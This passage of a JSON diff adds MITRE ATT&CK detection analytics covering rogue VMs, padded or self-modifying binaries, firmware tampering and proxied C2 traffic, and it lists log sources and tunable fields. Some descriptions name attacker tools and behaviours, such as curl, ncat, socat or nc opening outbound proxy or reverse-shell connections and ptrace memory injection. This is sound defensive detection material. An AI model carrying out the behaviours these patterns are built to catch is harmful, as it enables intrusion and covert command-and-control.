"enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process execution for VBoxHeadless, prl_vm_app, vmware-vmx" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Plist modifications containing virtualization run configurations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistKeyScope", + "description": "Focus monitoring on UI suppression or VM auto-run keys." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d677a72d-db0e-4332-a467-95b19836ef16", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0321#AN0912", + "external_id": "AN0912" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0912", + "description": "Direct execution of /bin/vmx or presence of rogue .vmx files not registered in vCenter inventory. Defender perspective: anomalous commands in shell history, edits to rc.local.d/local.sh for persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", + "name": "esxi:vmkernel", + "channel": "VMX startup messages without associated vCenter inventory records" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMInventorySync", + "description": "Cross-verify running VMs with vCenter inventory for rogue instances." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2ae1dd34-c666-488f-8ad6-752b8a6acae1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0322#AN0913", + "external_id": "AN0913" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0913", + "description": "Detects the presence of executables with high NOP padding, unusually large binary size for their function, and follow-on execution or memory injection from such files, especially when originating from temp or user-space paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NOPThreshold", + "description": "High proportion of 0x90 opcodes indicating junk code \u2013 tune to suppress noise from some packing tools" + }, + { + "field": "ExecutableSizeThreshold", + "description": "Size range for abnormally large binaries relative to their runtime behavior" + }, + { + "field": "TimeWindow", + "description": "Window between file creation and execution \u2013 short intervals may indicate staged payload execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f606ec01-15d2-4432-b91b-669411205015", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0322#AN0914", + "external_id": "AN0914" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0914", + "description": "Detects ELF binaries written to disk that demonstrate anomalous file size or entropy, quickly followed by execution or memory region writes into remote processes (e.g., using ptrace).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "SYSCALL ptrace/mprotect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinarySizeThreshold", + "description": "Used to flag binaries much larger than typical shell utilities or payloads" + }, + { + "field": "MemoryWriteTargets", + "description": "Which processes are allowed ptrace/mprotect \u2013 can limit to suspicious child-to-parent targeting" + }, + { + "field": "ExecutionAfterWriteWindow", + "description": "Temporal threshold for file write to execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fcc2b0dc-93c4-49de-abfe-6273c24d1d89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0322#AN0915", + "external_id": "AN0915" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0915", + "description": "Identifies Mach-O binaries dropped into temporary directories with abnormally high binary size or padding patterns, followed by privilege escalation, `exec`, or memory mapping of other processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_OPEN" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TempFilePaths", + "description": "Track dropped executables in ~/Library/, /tmp/, or /private/tmp/" + }, + { + "field": "MachOPaddingThreshold", + "description": "Define padding size or section entropy anomalies in Mach-O file format" + }, + { + "field": "FollowOnPrivilegeEscalation", + "description": "Detects whether the binary attempts privilege escalation within short execution window" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6f2fdf37-f603-4264-aed1-24fe2d1aa094", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0323#AN0916", + "external_id": "AN0916" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0916", + "description": "Detection of anomalous driver and firmware interactions, including unsigned or unexpected firmware updates, driver loads linked to hardware components, and suspicious use of privileged APIs to read/write firmware or controller memory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "firmware:integrity ", + "channel": "Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownGoodFirmwareHashes", + "description": "Environment-specific list of baseline firmware images for integrity comparison" + }, + { + "field": "DriverAllowList", + "description": "Drivers approved for loading in production environments" + }, + { + "field": "TimeWindow", + "description": "Correlation period between firmware modification attempt and abnormal driver or process behavior" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--062580eb-eb79-4b31-b3fd-e500ebcfc128", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0323#AN0917", + "external_id": "AN0917" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0917", + "description": "Detection of suspicious use of ioctl/sysfs calls to access device firmware, unexpected flashing tools execution, and anomalous firmware checksums logged by SMART or kernel audit mechanisms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "auditd:SYSCALL", + "channel": "ioctl/write: Direct firmware update or device memory manipulation syscalls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "linux:syslog", + "channel": "Driver load events or firmware load failures for hardware devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FirmwareImageBaseline", + "description": "Baseline firmware checksums for comparison" + }, + { + "field": "AlertThresholds", + "description": "Tolerance levels for SMART errors before triggering alerts" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c89e4f72-a563-4665-9934-14b9efe88a06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0323#AN0918", + "external_id": "AN0918" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0918", + "description": "Detection of EFI/firmware manipulation attempts via abnormal driver loads, unsigned kexts, or tampered NVRAM variables associated with component firmware configuration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "macos:unifiedlog", + "channel": "Firmware update events or kernel extension (kext) loads not signed by Apple" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedKextList", + "description": "List of trusted and signed kexts permitted in production systems" + }, + { + "field": "EFIHashBaseline", + "description": "Known-clean EFI image hashes used for verification" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--786c54fa-8a9f-41bc-aa22-c4a4f6a93bd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0324#AN0919", + "external_id": "AN0919" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0919", + "description": "Identifies self-modifying executables that exhibit changes in binary hash, entropy, or memory sections during or between executions\u2014often tied to dynamic unpacking or decryption behaviors.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Tune based on expected baseline entropy for executables; higher values may indicate polymorphic packing." + }, + { + "field": "TimeWindow", + "description": "Correlate rapid process spawn + image load activity suggesting mutation engine usage." + }, + { + "field": "ParentProcessPatterns", + "description": "Define expected or suspicious parent-child chains (e.g., script runner -> encoded PE)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6ed3efbf-c060-4c7f-8d8b-0e93f65a0790", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0324#AN0920", + "external_id": "AN0920" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0920", + "description": "Detects files or processes where execution results in frequent re-creation or modification of ELF binaries or interpreter scripts, often using chmod + execve with abnormal entropy.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:SYSCALL", + "channel": "mmap" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "chmod" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WriteExecThreshold", + "description": "Tune to alert on write followed by chmod + exec in quick succession." + }, + { + "field": "FileEntropyDeviation", + "description": "Detect high deviation from average entropy score of baseline ELF/script files." + }, + { + "field": "ExecutionFrequency", + "description": "Abnormal burst executions of file with identical functionality but varying hash." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8fba0b53-2aca-4cca-8856-714e0f05665b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0324#AN0921", + "external_id": "AN0921" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0921", + "description": "Tracks modification of executables or interpreter payloads (e.g., Mach-O, dylib) that mutate across runs\u2014using scripting engines, JIT compilers, or side-loaded plugins.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "code signature/memory protection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "file open/write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_MMAP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptEnginePatterns", + "description": "Detection may vary based on whether Python/Swift/AppleScript is used to mutate payloads." + }, + { + "field": "MachOEntropyThreshold", + "description": "Entropy tuning based on expected baseline for system vs user binaries." + }, + { + "field": "SignedBinaryChangeRate", + "description": "Helps flag apps that change but maintain signed status across invocations." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--99b2296f-dc1c-4b0e-a05a-883a0dbb1535", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325#AN0922", + "external_id": "AN0922" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0922", + "description": "Unusual process (e.g., `rundll32`, `mshta`, `wscript`, or custom payloads) initiates network connection to external IPs/domains that proxy C2 traffic, often over uncommon ports or high entropy HTTP/S connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational", + "channel": "Unusual external domain access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DestinationASN", + "description": "Adjust for known benign but high-risk infrastructure (e.g., hosting providers like DigitalOcean, OVH, etc.)." + }, + { + "field": "ParentProcess", + "description": "Detect suspicious lineage\u2014proxy tools launched from script interpreters or LOLBins." + }, + { + "field": "EntropyThreshold", + "description": "Tune based on expected randomness in outbound request payloads." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a0c2390-f8e9-4f03-ae21-0e1e876fed89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325#AN0923", + "external_id": "AN0923" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0923", + "description": "`curl`, `wget`, `ncat`, `socat`, or custom binaries initiate outbound traffic to Internet-based proxies (e.g., via VPS or CDN). Behavior may include reverse shell constructs or persistent outbound beacons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "conn.log or http.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "alert log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Regex or command substring matches indicative of dynamic proxy setup." + }, + { + "field": "ExternalIPList", + "description": "Tunable list of IPs or ASNs related to known proxy/VPS abuse." + }, + { + "field": "UserContext", + "description": "Unexpected users running networking tools (e.g., www-data, apache)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cd7fee55-79e6-42f4-9c68-e653cc8a1d24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325#AN0924", + "external_id": "AN0924" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0924", + "description": "AppleScript or terminal sessions launch tools (`curl`, `nc`, `ssh`) to external IPs not commonly accessed. Outbound connections are made by LaunchAgents/LaunchDaemons, often masquerading as system services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "pf firewall logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "launchd or network_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentPath", + "description": "Detect persistence used to restart proxy after reboot." + }, + { + "field": "ExternalPort", + "description": "Often high or non-standard ports, configurable for outbound proxy detection." + }, + { + "field": "ProcessReputation", + "description": "Flag unsigned or anomalous binaries making external connections." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0c8a9540-51d7-4ba3-8594-8860b3fa8485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325#AN0925", + "external_id": "AN0925" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0925", + "description": "ESXi shell or guest VM tools initiate external connections via scripted traffic forwarding to Internet-based proxies. Detected by firewall or shell audit logs showing outbound connection spikes from hypervisor or guest VM to remote proxy nodes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VMOutboundPatterns", + "description": "Detect when VMs communicate with Internet IPs not in workload profiles." + }, + { + "field": "ProxyHostPattern", + "description": "Regex for proxy-related tools/scripts executed on the host." + }, + { + "field": "ConnectionDirectionality", + "description": "Outbound only connections from ESXi to new IPs." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bca44b88-4615-45b8-8fb9-ce934c65c8be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0325#AN0926", + "external_id": "AN0926" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0926", + "description": "Changes to NAT/firewall policies enabling outbound port forwarding from internal IPs to Internet-based proxy endpoints. Log spikes in outbound flows to CDN, VPS, or anomalous ASNs with few return packets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "Firewall Audit Logs", + "channel": "Outbound NAT Rule Changes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound flow records" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "networkdevice:syslog", + "channel": "Dynamic route changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FlowThreshold", + "description": "Number of flows or bytes transferred per minute\u2014flag surges to unrecognized ASNs." + }, + { + "field": "DestinationIPCategory", + "description": "Proxy destination categories: CDN, TOR exit node, anonymous hosting." + }, + { + "field": "ConfigChangeUser", + "description": "Track if unexpected user or automation changed NAT/forwarding rules." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b8dea721-8e0d-4bcd-bde4-6609afd595e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": 